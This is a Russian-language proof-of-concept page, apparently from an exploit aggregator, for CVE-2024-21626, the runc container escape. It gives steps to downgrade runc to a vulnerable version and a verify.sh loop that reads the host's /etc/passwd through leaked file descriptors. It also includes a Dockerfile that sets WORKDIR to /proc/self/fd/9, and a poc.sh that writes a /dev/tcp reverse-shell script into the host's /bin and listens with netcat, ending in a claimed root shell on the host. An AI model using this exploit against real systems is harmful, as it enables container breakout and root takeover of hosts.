Exploit for CVE-2024-21626

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-KUBERNETESBACHELOR-CVE-2024-21626
# CVE-2024-21626 POC

# Требования

## runc 1.1.0 <= 1.1.11

# Установка уязвимой среды

## Разверните виртуальную машину с Ubuntu 20.04 и загрузите Docker, следуя их руководству

root@kitploit:~
    
    
    https://docs.docker.com/engine/install/ubuntu/
    

## Замените пропатченную версию 'runc' в Docker на уязвимую

Загрузите уязвимую версию (runc 1.1.11 или более раннюю) из репозитория runc на GitHub: https://github.com/opencontainers/runc/releases  
Выберите runc.amd64 (требование) ![runc_1111](https://assets.kitploit.com/production/public/readmes/37386/de2b9f5a6f7a051d71146c326ddd7fb4362e48e68cd77159cc2f88ac4c63652e.png)

# Выполнение эксплойта

## Запустите скрипт 'verify.sh'

root@kitploit:~
    
    
    #! /bin/bash
    for i in {4..20}; do
    	docker run -it --rm -w /proc/self/fd/$i ubuntu:20.04 bash -c "cat
    /proc/self/cwd/../../../etc/passwd"
    done
    

![verify](https://assets.kitploit.com/production/public/readmes/37386/fd797a1205528cbe920ea35388e7770b61190682fef200423817da04012e5884.png)

## Измените рабочую директорию в Dockerfile на правильный файловый дескриптор, найденный при выполнении verify.sh

root@kitploit:~
    
    
    FROM ubuntu:20.04
    RUN apt-get update -y && apt-get install netcat -y
    ADD ./poc.sh /poc.sh
    WORKDIR /proc/self/fd/9
    

## Соберите контейнер

root@kitploit:~
    
    
    docker build . -t name_of_container
    

## poc.sh

root@kitploit:~
    
    
    #!/bin/bash
    ip=$(hostname -I | awk '{print $1}')
    port=1337
    cat > /proc/self/cwd/../../../bin/bash.copy << EOF
    #!/bin/bash
    bash -i >& /dev/tcp/$ip/$port 0>&1
    EOF
    
    # слушаем и ждем реверсивную оболочку
    nc -lvvp 1337
    

## Запустите образ контейнера и выполните poc.sh в bash-оболочке

root@kitploit:~
    
    
    docker run -it --rm cve2024 bash /poc.sh
    

## Контейнер переходит в режим прослушивания

![lytte](https://assets.kitploit.com/production/public/readmes/37386/c29acab0705849e55df4eff13858a774162e785df00c9820351f34d34ff62929.png)

## На хост-машине в корневом каталоге был создан новый скрипт с именем 'bash.copy' в директории `/proc/self/cwd/../../../bin/`

![bash](https://assets.kitploit.com/production/public/readmes/37386/82313878797f8984b80879d39a279f04f18292cb4b5c9f373557328a9129e7af.png)

## Сделав скрипт исполняемым и запустив его...

root@kitploit:~
    
    
    chmod +x bash.copy
    ./bash.copy
    

## ... вы получите реверсивную оболочку с привилегиями root на хост-машине

![root](https://assets.kitploit.com/production/public/readmes/37386/59ee86e665ab0d79fe6f04e343aa2927fcd5881b76f126703117beb383677be5.png)

# Источник

https://ethicalhacking.uk/cracking-containers-understanding-cve-2024-21626-in-runc/#gsc.tab=0